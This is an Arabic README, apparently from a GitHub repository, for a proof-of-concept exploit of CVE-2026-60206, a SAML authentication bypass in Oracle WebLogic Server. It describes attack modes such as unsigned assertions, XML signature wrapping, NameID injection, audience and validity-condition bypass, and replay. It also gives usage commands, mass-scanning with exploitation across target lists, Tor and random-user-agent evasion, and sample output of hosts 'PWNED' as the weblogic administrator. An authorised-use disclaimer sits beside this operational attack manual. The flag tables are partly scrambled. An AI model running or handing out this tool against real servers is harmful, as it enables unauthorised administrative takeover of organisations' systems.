
تحليل تقني وإثبات مفهوم لثغرة CVE-2026-60206، وهي ثغرة حرجة لتجاوز المصادقة عبر SAML في Oracle WebLogic Server.
يوفر هذا المستودع كود استغلال لإثبات المفهوم لثغرة CVE‑2026‑60206، وهي ثغرة حرجة لتجاوز المصادقة في تنفيذ SAML الخاص بـ Oracle WebLogic Server. تسمح هذه الثغرة لمهاجم بعيد منخفض الصلاحيات باختراق الخادم بالكامل عن طريق تزوير تأكيدات SAML.
⚠️ إخلاء مسؤولية: هذه الأداة مخصصة للبحث والاختبار الأمني المصرَّح به فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام.
تؤثر CVE‑2026‑60206 على المكوّن الأساسي (Core) في Oracle WebLogic Server. يعود أصل الثغرة إلى المعالجة غير السليمة للمصادقة في تنفيذ بروتوكول SAML. تتيح نواقل هجوم متعددة — مثل التفاف توقيع XML (XSW)، وقبول التأكيدات غير الموقعة، والتلاعب بـ NameID، وتجاوز قيود الجمهور/الشروط — للمهاجم انتحال شخصية مستخدمين عشوائيين (مثل: weblogic) والحصول على وصول إداري.
الإصدارات المتأثرة:
ينفّذ إثبات المفهوم (PoC) نواقل الهجوم التالية:
WantAssertionsSigned مفعَّلاً).AudienceRestriction أو تعديله لتوسيع النطاق.NotBefore/NotOnOrAfter لتجاوز فحوصات الصلاحية.all, unsigned, xsw, nameid, audience, conditions, combo أو replay.-l).-r).httpx تلقائيًا إذا كان مثبتًا، ويعود إلى requests (HTTP/1.1) كخيار احتياطي.git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
مطلوب: requests, urllib3
اختياري (يحسّن الوظيفة):
httpx – لدعم HTTP/2lxml – لتحسين تحليل SAMLsignxml, cryptography – للتعامل مع التوقيعات (غير مطلوبة للاستغلال)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| Flag | الوصف |
|---|---|
-t, --target TARGET | عنوان URL لهدف واحد (مثل: https://host:7002). |
-l, --list LIST | ملف قائمة الأهداف للفحص الجماعي، أو عنوان URL واحد. |
-l):| Flag | الوصف |
|---|---|
--exploit | اختبار تأكيد SAML غير الموقّع (الافتراضي: اكتشاف فقط). |
-T, --threads THREADS | الخيوط المتزامنة (الافتراضي: 10). |
| Flag | الوصف |
|---|---|
-v, --verbose | زيادة مستوى التفصيل (مخرجات تصحيح). |
-q, --quiet | كتم المخرجات غير الأساسية. |
detectينفّذ اكتشاف الإصدار واستكشاف نقاط نهاية SAML. لا يتم إطلاق أي هجوم.
unsignedيحقن تأكيد SAML غير موقّع تمامًا. إذا كان الهدف لا يفرض WantAssertionsSigned، فإن هذا يتجاوز المصادقة بالكامل.
الأنواع: unsigned (افتراضي)، unsigned_stripped (يزيل جميع مراجع التوقيع).
xsw (التفاف توقيع XML)يضع تأكيدًا خبيثًا غير موقّع قبل (أو ملفوفًا حول) تأكيد موقّع صالح. قد يختار معالج SAML التأكيد الأول بينما يتحقق مُدقّق التوقيع من التأكيد الموقّع.
الأنواع: xsw1 (إضافة بسيطة في البداية)، xsw2 (نفس معرّف الأصل)، xsw3 (غلاف متداخل)، xsw4 (عنصر شقيق).
nameidيتلاعب بحقل NameID لإرباك محدد الهوية في WebLogic، مما يسمح بانتحال شخصية مستخدم مختلف.
الأنواع: comment_injection, whitespace, format_confusion, xpath_injection.
audienceيتجاوز فحوصات AudienceRestriction عن طريق إزالة عنصر الجمهور أو تعديله.
الأنواع: remove_audience, wildcard_audience, extra_audience.
conditionsيتجاوز القيود الزمنية (مثل: NotBefore, NotOnOrAfter).
الأنواع: future_timestamp, expired_timestamp, remove_conditions, infinite_validity.
comboيجمع بين XSW والتأكيد غير الموقّع والتلاعب بـ NameID في حمولة واحدة – وهو الناقل الأكثر ترجيحًا لتحقيق الاختراق الكامل.
الأنواع: combo_full (مع حقن تعليق)، combo_stealth (مع سطر جديد).
replayيعيد إرسال استجابة SAML ملتقطة سابقًا، مع إمكانية تعديل الوجهة أو إزالة قيود الجمهور.
الأنواع: replay_modified (يضبط Destination/Recipient)، replay_cross_sp (يزيل قيود الجمهور).
$ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-60206 — WebLogic SAML Authentication Bypass PoC ║
║ Oracle WebLogic Server Core | CVSS 9.9 | CWE-287 ║
╚══════════════════════════════════════════════════════════════════════╝
🔍 Detecting WebLogic version and SAML configuration...
Detected WebLogic version: 12.2.1.4.0
⚠️ Version 12.2.1.4.0 is IN SCOPE for CVE-2026-60206!
Found SAML metadata: /saml2/sp/metadata
Found SAML ACS: /saml2/sp/acs (HTTP 200)
============================================================
🚀 Starting comprehensive SAML attack suite
Target: https://192.168.1.100:7002
Target User: weblogic
============================================================
── Attack 1/2 ──
🎯 [combo/combo_full] Launching combined attack for: weblogic
✅ [combo/combo_full] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
── Attack 2/2 ──
🎯 [combo/combo_stealth] Launching combined attack for: weblogic
✅ [combo/combo_stealth] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
============================================================
📊 Results: 2/2 attack vectors succeeded
============================================================
EXPLOIT SUCCESSFUL! 2 attack(s) bypassed authentication.
- [combo/combo_full] → logged in as 'weblogic' via /saml2/sp/acs
- [combo/combo_stealth] → logged in as 'weblogic' via /saml2/sp/acs
📄 Report saved: logs/report_20260725_123456.json
$ python CVE-2026-60206.py -l targets.txt --exploit -o scan_results.csv --threads 10
============================================================
CVE-2026-60206 Mass Scanner
Targets: 50
Threads: 10
Mode: Exploit
============================================================
[10/50] 20.0% | Vuln:3 | Pwned:1 | 1.2 tgt/s
[!] VULN: https://10.0.0.5:7002 (12.2.1.4.0)
[!!] PWNED: https://10.0.0.5:7002 - logged in as weblogic
... (continues) ...
============================================================
SCAN SUMMARY
============================================================
Total targets: 50
Reachable: 45
WebLogic: 12
Vuln version: 8
Exploited: 3
Duration: 42.5s
============================================================
[!!] SUCCESSFULLY EXPLOITED:
https://10.0.0.5:7002 → weblogic via /saml2/sp/acs
https://10.0.0.10:7002 → weblogic via /saml2/sp/acs
https://10.0.0.15:7002 → weblogic via /saml2/sp/acs
[!] VULNERABLE VERSIONS (not yet exploited):
https://10.0.0.20:7002 (14.1.1.0.0)
https://10.0.0.25:7002 (15.1.1.0.0)
... (truncated)
لاختبار إثبات المفهوم هذا بأمان، قم بإعداد خادم WebLogic مع تفعيل SAML وباستخدام أحد الإصدارات المتأثرة. على سبيل المثال، يمكنك استخدام Docker:
# Example (simplified – use official Oracle WebLogic images with SAML configuration)
docker run -p 7002:7002 container-registry.oracle.com/middleware/weblogic:12.2.1.4
# Then configure SAML via WebLogic console or scripts
يجب أن يتضمن إعداد SAML موفر خدمة SAML 2.0 واحدًا على الأقل مع نقطة نهاية ACS (مثل: /saml2/sp/acs) وبيانات تعريف منشورة.
هذا المشروع مرخّص بموجب رخصة GNU v3.0 – راجع ملف LICENSE للحصول على التفاصيل.
نرحب بالإبلاغ عن المشكلات (Issues) وطلبات السحب (Pull Requests). يرجى التأكد من أن مساهماتك تلتزم بنفس إرشادات الاستخدام الأخلاقية.
تذكّر: احصل دائمًا على التصريح المناسب قبل اختبار أي أداة أمنية. وابقَ أخلاقيًا!
--save-payloads).-c / --check) – تحديد سريع لما إذا كان الهدف عرضة للثغرة (بدون استغلال).| Flag | الوصف |
|---|
-h, --help | عرض رسالة المساعدة والخروج. |
--proxy PROXY | عنوان URL للوكيل (يُتجاوز بواسطة --tor إذا استُخدم). |
--no-verify | تعطيل التحقق من شهادة SSL. |
--cookie COOKIE | ملفات تعريف ارتباط الجلسة (مثل: name=value; name2=value2). |
--auth AUTH | بيانات اعتماد المصادقة الأساسية (USER:PASS). |
-f, --file FILE | اسم مستعار لـ --list. |
| Flag | الوصف |
|---|
-r, --requestfile REQUESTFILE | تحميل طلب HTTP خام من ملف (يحل محل هجمات SAML). |
--method METHOD | طريقة HTTP التي سيتم استخدامها (للطلب الخام أو طلب واحد؛ الافتراضي: GET). |
--random-agent | استخدام User‑Agent عشوائي من القائمة المدمجة. |
-A, --user-agent USER_AGENT | قيمة مخصصة لترويسة User‑Agent. |
--tor | استخدام شبكة إخفاء الهوية Tor (SOCKS5 افتراضيًا). |
--tor-port TOR_PORT | منفذ وكيل Tor (الافتراضي: 9050). |
--tor-type {HTTP,SOCKS4,SOCKS5} | نوع وكيل Tor (الافتراضي: SOCKS5). |
--check-tor | التحقق من أن Tor يُستخدم بشكل صحيح (يخرج مع الحكم). |
--delay DELAY | التأخير بالثواني بين كل طلب. |
--timeout TIMEOUT | المهلة بالثواني (الافتراضي: 30). |
--retries RETRIES | عدد مرات إعادة المحاولة عند انتهاء المهلة/الأخطاء (الافتراضي: 3). |
--retry-on RETRY_ON | إعادة محاولة الطلب إذا تطابق محتوى الاستجابة مع نمط regex (مثل: 'captcha'). |
-dr, --disable-redirects | تعطيل تتبع عمليات إعادة توجيه HTTP. |
| Flag | الوصف |
|---|
-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay} | وضع الهجوم (الافتراضي: all). |
--detect | اكتشاف إصدار WebLogic وإعدادات SAML فقط (بدون هجوم). |
-c, --check | فحص سريع للثغرة (اكتشاف فقط، يخرج مع الحكم). |
-u, --user USER | المستخدم الهدف لانتحال شخصيته (الافتراضي: weblogic). |
--groups GROUPS | المجموعات التي ستُدرج في تأكيد SAML (الافتراضي: Administrators,Monitors). |
--issuer ISSUER | معرّف كيان المُصدِر (Issuer) في SAML. |
--audience AUDIENCE | معرّف كيان الجمهور (Audience) في SAML. |
--relay-state RELAY_STATE | معامل RelayState لإرسال SAML عبر POST. |
--base64 | ترميز استجابة SAML بترميز Base64 في POST. |
--extra-attrs [NAME=VALUE ...] | سمات SAML إضافية (مثل: role=admin). |
--replay-file REPLAY_FILE | مسار استجابة SAML ملتقطة لإعادة الإرسال. |
--save-payloads | حفظ حمولات SAML المولدة في ./payloads/. |
--continue-on-success | مواصلة الاختبار بعد نجاح الهجوم. |
--list-modes | عرض جميع أوضاع الهجوم مع أوصافها ثم الخروج. |
-o, --output OUTPUT | كتابة تقرير JSON أو CSV إلى ملف. |